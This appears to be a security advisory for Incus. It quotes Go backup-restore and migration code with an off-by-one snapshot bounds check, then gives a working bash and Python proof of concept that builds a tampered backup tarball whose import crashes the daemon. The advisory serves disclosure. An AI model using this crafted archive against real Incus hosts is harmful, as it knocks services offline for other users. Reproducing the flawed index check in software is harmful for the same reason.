GHSA-4m88-wxj4-9qj6

func (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) { [...] postHook := func(inst instance.Instance) error { [...] for i, backupFileSnap := range srcBackup.Snapshots { var volumeSnapDescription string var volumeSnapConfig map[string]string var volumeSnapExpiryDate time.Time var volumeSnapCreationDate time.Time // Check if snapshot volume config is available for restore and matches snapshot name. if srcBackup.Config != nil { if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap { // Use instance snapshot's creation date if snap info available. volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt } if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap { // If the backup restore interface provides volume snapshot config use it, // otherwise use default volume config for the storage pool. volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil { volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt } // Use volume's creation date if available. if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() { volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt } } } [...] } [...] } [...] } [...] func (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error { [...] if !isRemoteClusterMove || args.StoragePool != "" { for i, snapshot := range args.Snapshots { snapName := snapshot.GetName() newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName) snapConfig := vol.Config() // Use parent volume config by default. snapDescription := volumeDescription // Use parent volume description by default. snapExpiryDate := time.Time{} snapCreationDate := time.Time{} // If the source snapshot config is available, use that. if srcInfo != nil && srcInfo.Config != nil { if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName { // Use instance snapshot's creation date if snap info available. snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt } if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName { // Check if snapshot volume config is available then use it. snapDescription = srcInfo.Config.VolumeSnapshots[i].Description snapConfig = srcInfo.Config.VolumeSnapshots[i].Config if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil { snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt } // Use volume's creation date if available. if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() { snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt } } } [...] } } [...] }

cat <<'EOF' > poc_snapshot_bounds.sh #!/bin/bash set -e BASE_NAME="base-$(date +%s)" PANIC_NAME="panic-$(date +%s)" incus init images:alpine/edge "$BASE_NAME" --project default incus snapshot create "$BASE_NAME" snap0 --project default incus export "$BASE_NAME" valid_snapshot_base.tar.gz --project default mkdir -p extract_snapshot_bounds tar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/ chmod -R u+rwX extract_snapshot_bounds/ python3 -c " import os import sys base = '$BASE_NAME' panic = '$PANIC_NAME' with open('extract_snapshot_bounds/backup/index.yaml', 'r') as f: lines = f.read().splitlines() out = [] in_skip = False skip_indent = 0 for line in lines: line = line.replace(base, panic) indent = len(line) - len(line.lstrip()) if in_skip: if not line.strip(): continue if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')): continue else: in_skip = False if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')): out.append(line.split(':')[0] + ': []') in_skip = True skip_indent = indent continue out.append(line) with open('extract_snapshot_bounds/backup/index.yaml', 'w') as f: f.write('\n'.join(out)) " cd extract_snapshot_bounds/ tar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/ cd .. rm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz echo "[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz" EOF bash poc_snapshot_bounds.sh

[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz

incus import exploit_snapshot_bounds_panic.tar.gz --project default

Error: websocket: close 1006 (abnormal closure): unexpected EOF